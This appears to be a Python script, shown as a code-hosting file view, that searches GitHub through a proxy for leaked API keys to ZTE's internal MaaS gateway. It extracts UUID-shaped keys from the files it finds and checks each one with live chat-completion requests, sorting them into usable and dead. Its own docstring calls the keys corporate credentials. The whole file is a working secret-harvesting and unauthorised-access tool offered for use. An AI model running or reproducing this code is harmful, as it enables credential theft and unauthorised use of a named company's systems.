328 lines
12 KiB
Python
328 lines
12 KiB
Python
#!/usr/bin/env python3
|
|
"""Deep hunter for ZTE MaaS API gateway (maas-apigateway.dt.zte.com.cn).
|
|
|
|
ZTE corporate MaaS platform proxies models under /model/<slug>/v1.
|
|
Keys are UUIDs (8-4-4-4-12). Gateway is IP-allowlisted: TLS completes but
|
|
HTTP hangs from outside, so leaked keys are corporate credentials.
|
|
|
|
Only explicit 401/invalid-key = DEAD. Timeout/000 = UNKNOWN (may be valid
|
|
behind VPN). Real 200 with choices = USABLE.
|
|
"""
|
|
import json, os, re, sys, time, urllib.parse, urllib.request, urllib.error
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from pathlib import Path
|
|
|
|
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
|
from verify_cache import CachedVerifier
|
|
|
|
HERE = Path(__file__).resolve().parent
|
|
OUT = HERE / "results" / "zte_maas"
|
|
OUT.mkdir(parents=True, exist_ok=True)
|
|
|
|
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
|
TOKEN = (os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
|
or os.popen("gh auth token 2>/dev/null").read().strip())
|
|
GH_OPENER = (urllib.request.build_opener(
|
|
urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}))
|
|
if GH_PROXY else urllib.request.build_opener())
|
|
DIRECT = urllib.request.build_opener()
|
|
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) "
|
|
"Chrome/124.0 Safari/537.36")
|
|
|
|
HOST = "maas-apigateway.dt.zte.com.cn"
|
|
|
|
UUID_RE = re.compile(
|
|
r"\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-"
|
|
r"[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\b"
|
|
)
|
|
MODEL_SLUG_RE = re.compile(r"/model/([A-Za-z0-9_\-.]+?)/v1")
|
|
MODEL_NAME_RE = re.compile(r'"model"\s*:\s*"([^"]+)"')
|
|
|
|
CONTEXT = ("zte.com.cn", "maas-apigateway", "zte", "REMOTE_API_KEY",
|
|
"REMOTE_BASE_URL", "qwen3-coder", "ZTE_MAAS", "zte_maas")
|
|
FAKE = ("00000000-0000-0000-0000-000000000000", "12345678-1234-1234-1234-123456789012",
|
|
"xxxxxxxx", "your-", "example", "replace", "changeme", "placeholder", "<")
|
|
|
|
QUERIES = [
|
|
'"maas-apigateway.dt.zte.com.cn"',
|
|
'"maas-apigateway" zte',
|
|
'"dt.zte.com.cn"',
|
|
'"REMOTE_API_KEY" zte',
|
|
'"REMOTE_BASE_URL" zte',
|
|
'"qwen3-coder-480b"',
|
|
'"Qwen3-Coder-480B"',
|
|
'"zte.com.cn" "Bearer" extension:py',
|
|
'"zte.com.cn" "Bearer" extension:js',
|
|
'"zte.com.cn" "api_key" extension:py',
|
|
'"zte.com.cn" "api_key" extension:js',
|
|
'"zte.com.cn" extension:env',
|
|
'"zte.com.cn" extension:yaml',
|
|
'"zte.com.cn" extension:yml',
|
|
'"zte.com.cn" extension:json',
|
|
'"zte.com.cn" extension:sh',
|
|
'"maas-apigateway" extension:py',
|
|
'"maas-apigateway" extension:js',
|
|
'"maas-apigateway" extension:env',
|
|
'"maas-apigateway" extension:yaml',
|
|
'"ZTE_MAAS"',
|
|
'"zte_maas"',
|
|
'"ZTE_API_KEY"',
|
|
'"/model/qwen" zte',
|
|
]
|
|
|
|
|
|
def gh_code_search(query, max_results=100):
|
|
out = []
|
|
for page in range(1, 4):
|
|
url = ("https://api.github.com/search/code?"
|
|
+ urllib.parse.urlencode({"q": query, "per_page": 100, "page": page}))
|
|
req = urllib.request.Request(url, headers={
|
|
"Authorization": "token " + TOKEN,
|
|
"Accept": "application/vnd.github+json",
|
|
"User-Agent": "zte-maas-hunter/1.0"})
|
|
try:
|
|
with GH_OPENER.open(req, timeout=30) as r:
|
|
data = json.loads(r.read())
|
|
except urllib.error.HTTPError as e:
|
|
if e.code in (403, 429):
|
|
reset = e.headers.get("X-RateLimit-Reset")
|
|
wait = min(max(int(reset) - int(time.time()) + 2, 2), 120) if reset else 30
|
|
time.sleep(wait); continue
|
|
if e.code == 422:
|
|
break
|
|
time.sleep(5); continue
|
|
except Exception:
|
|
time.sleep(5); continue
|
|
items = data.get("items", [])
|
|
for it in items:
|
|
out.append((it["repository"]["full_name"], it["path"], it["html_url"]))
|
|
if len(items) < 100:
|
|
break
|
|
time.sleep(6.5)
|
|
return out[:max_results]
|
|
|
|
|
|
def fetch_raw(repo, path):
|
|
for ref in ("HEAD", "main", "master"):
|
|
url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}"
|
|
req = urllib.request.Request(url, headers={"User-Agent": UA})
|
|
try:
|
|
with GH_OPENER.open(req, timeout=25) as r:
|
|
return r.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
if e.code == 404:
|
|
continue
|
|
return ""
|
|
except Exception:
|
|
continue
|
|
return ""
|
|
|
|
|
|
def harvest(text):
|
|
"""Return (keys, model_slugs, model_names)."""
|
|
if not text:
|
|
return set(), set(), set()
|
|
low = text.lower()
|
|
if not any(c.lower() in low for c in CONTEXT):
|
|
return set(), set(), set()
|
|
keys = set()
|
|
for m in UUID_RE.finditer(text):
|
|
k = m.group(0)
|
|
kl = k.lower()
|
|
if any(f in kl for f in FAKE):
|
|
continue
|
|
# Gate: must be near an API-key assignment or zte context
|
|
lo = max(0, m.start() - 120)
|
|
hi = min(len(text), m.end() + 120)
|
|
window = text[lo:hi].lower()
|
|
if not any(sig in window for sig in
|
|
("api_key", "apikey", "api-key", "bearer", "token", "secret",
|
|
"authorization", "key", "zte", "maas", "remote_api",
|
|
"base_url")):
|
|
continue
|
|
keys.add(k)
|
|
slugs = set(MODEL_SLUG_RE.findall(text))
|
|
names = set(MODEL_NAME_RE.findall(text))
|
|
return keys, slugs, names
|
|
|
|
|
|
def classify(code, body):
|
|
j = None
|
|
try:
|
|
j = json.loads(body)
|
|
except Exception:
|
|
pass
|
|
msg = ""
|
|
choices = None
|
|
if isinstance(j, dict):
|
|
err = j.get("error")
|
|
if isinstance(err, dict):
|
|
msg = str(err.get("message", ""))[:200]
|
|
elif isinstance(err, str):
|
|
msg = err[:200]
|
|
choices = j.get("choices")
|
|
if choices:
|
|
return "USABLE", "200 choices"
|
|
if code == 401:
|
|
return "DEAD", f"401 {msg}".strip()
|
|
if code == 402:
|
|
return "NO_BALANCE", f"402 {msg}".strip()
|
|
if code == 429:
|
|
return "NO_BALANCE", f"429 {msg}".strip()
|
|
if code == 200:
|
|
if choices is None:
|
|
return "UNKNOWN", f"200 no choices: {body[:120]}"
|
|
return "USABLE", "200 choices"
|
|
if code == 400:
|
|
ml = msg.lower()
|
|
if any(w in ml for w in ("invalid", "unauthor", "api key", "authentication",
|
|
"incorrect")):
|
|
return "DEAD", f"400 {msg}".strip()
|
|
if any(w in ml for w in ("balance", "quota", "insufficient", "limit",
|
|
"payment", "arrears")):
|
|
return "NO_BALANCE", f"400 {msg}".strip()
|
|
return "NO_ACCESS", f"400 {msg}".strip()
|
|
if code == 0:
|
|
return "UNKNOWN", "timeout/connection (IP-gated?)"
|
|
if code in (403, 404, 422, 451):
|
|
return "NO_ACCESS", f"{code} {msg}".strip()
|
|
return "UNKNOWN", f"{code} {msg}".strip()
|
|
|
|
|
|
def verify_one(key, slug="qwen3-coder-480b", model="Qwen3-Coder-480B-A35B-Instruct"):
|
|
"""Verify a UUID key against ZTE MaaS. Tries known model slugs."""
|
|
slugs = [slug]
|
|
for s in ("qwen3-coder-480b", "qwen-coder", "deepseek", "glm", "qwen"):
|
|
if s not in slugs:
|
|
slugs.append(s)
|
|
body = json.dumps({
|
|
"model": model,
|
|
"messages": [{"role": "user", "content": "ok"}],
|
|
"max_tokens": 5, "temperature": 0,
|
|
}).encode()
|
|
last = "no model tried"
|
|
for sl in slugs:
|
|
url = f"https://{HOST}/model/{sl}/v1/chat/completions"
|
|
req = urllib.request.Request(url, data=body, headers={
|
|
"Authorization": "Bearer " + key,
|
|
"Content-Type": "application/json",
|
|
"User-Agent": UA, "Accept": "application/json"})
|
|
try:
|
|
with DIRECT.open(req, timeout=25) as r:
|
|
code = r.getcode()
|
|
data = r.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
code = e.code
|
|
try:
|
|
data = e.read().decode("utf-8", "replace")
|
|
except Exception:
|
|
data = ""
|
|
except Exception as e:
|
|
last = f"net {type(e).__name__}"
|
|
continue
|
|
v, d = classify(code, data)
|
|
if v in ("USABLE", "DEAD", "NO_BALANCE"):
|
|
return v, f"{sl} {d}"
|
|
last = f"{sl} {d}"
|
|
return "UNKNOWN", last
|
|
|
|
|
|
def verify(key):
|
|
return verify_one(key)
|
|
|
|
|
|
def main():
|
|
import argparse
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--search", action="store_true")
|
|
ap.add_argument("--verify", action="store_true")
|
|
ap.add_argument("--workers", type=int, default=16)
|
|
ap.add_argument("--key", default=None, help="Verify a single key directly")
|
|
args = ap.parse_args()
|
|
|
|
if args.key:
|
|
v, d = verify(args.key)
|
|
print(f"{v}\t{d}")
|
|
return
|
|
|
|
cand = OUT / "candidates.tsv"
|
|
if args.search:
|
|
seen = set()
|
|
if cand.exists():
|
|
for ln in cand.read_text().splitlines():
|
|
p = ln.split("\t")
|
|
if len(p) >= 3:
|
|
seen.add(p[2])
|
|
print(f"proxy={GH_PROXY} token={'yes' if TOKEN else 'NO'}")
|
|
for q in QUERIES:
|
|
res = gh_code_search(q)
|
|
new = [r for r in res if r[2] not in seen]
|
|
for repo, path, url in new:
|
|
seen.add(url)
|
|
with cand.open("a") as f:
|
|
f.write(f"{repo}\t{path}\t{url}\n")
|
|
print(f" {q:48} {len(res):3} hits, {len(new):3} new", flush=True)
|
|
time.sleep(2)
|
|
print(f"candidate files -> {cand}")
|
|
|
|
if args.verify:
|
|
if not cand.exists():
|
|
print("no candidates.tsv (run --search first)"); return
|
|
files = [ln.rstrip("\n").split("\t") for ln in cand.read_text().splitlines()
|
|
if ln.strip()]
|
|
print(f"harvesting {len(files)} files...")
|
|
keys = {}
|
|
all_slugs = set()
|
|
all_names = set()
|
|
for i, (repo, path, url) in enumerate(files):
|
|
text = fetch_raw(repo, path)
|
|
ks, slugs, names = harvest(text)
|
|
for k in ks:
|
|
keys.setdefault(k, url)
|
|
all_slugs.update(slugs)
|
|
all_names.update(names)
|
|
if (i + 1) % 25 == 0:
|
|
print(f" {i+1}/{len(files)} keys={len(keys)}", flush=True)
|
|
time.sleep(0.1)
|
|
print(f"harvested {len(keys)} unique candidate keys")
|
|
if all_slugs:
|
|
print(f"model slugs found: {sorted(all_slugs)}")
|
|
(OUT / "model_slugs.txt").write_text("\n".join(sorted(all_slugs)))
|
|
if all_names:
|
|
print(f"model names found: {sorted(all_names)}")
|
|
(OUT / "model_names.txt").write_text("\n".join(sorted(all_names)))
|
|
|
|
buckets = {k: [] for k in
|
|
("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD")}
|
|
with CachedVerifier("zte_maas", verify) as ver:
|
|
with ThreadPoolExecutor(max_workers=args.workers) as ex:
|
|
futs = {ex.submit(ver, k): (k, s) for k, s in keys.items()}
|
|
done = 0
|
|
for fut in as_completed(futs):
|
|
k, s = futs[fut]; done += 1
|
|
try:
|
|
v, d = fut.result()
|
|
except Exception as e:
|
|
v, d = "UNKNOWN", f"exc:{e}"
|
|
buckets[v].append((k, s, d))
|
|
if done % 10 == 0:
|
|
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
|
|
f"unknown={len(buckets['UNKNOWN'])} "
|
|
f"dead={len(buckets['DEAD'])}", flush=True)
|
|
for label in buckets:
|
|
with (OUT / f"{label.lower()}.txt").open("w") as f:
|
|
for k, s, d in buckets[label]:
|
|
f.write(f"{k}\t{s}\t{d}\n")
|
|
print()
|
|
for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
|
print(f" {label:11}: {len(buckets[label])}")
|
|
for k, s, d in buckets["USABLE"]:
|
|
print(f" ✅ {k} {d}")
|
|
print(f" {s}")
|
|
for k, s, d in buckets["UNKNOWN"][:10]:
|
|
print(f" ❓ {k} {d}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|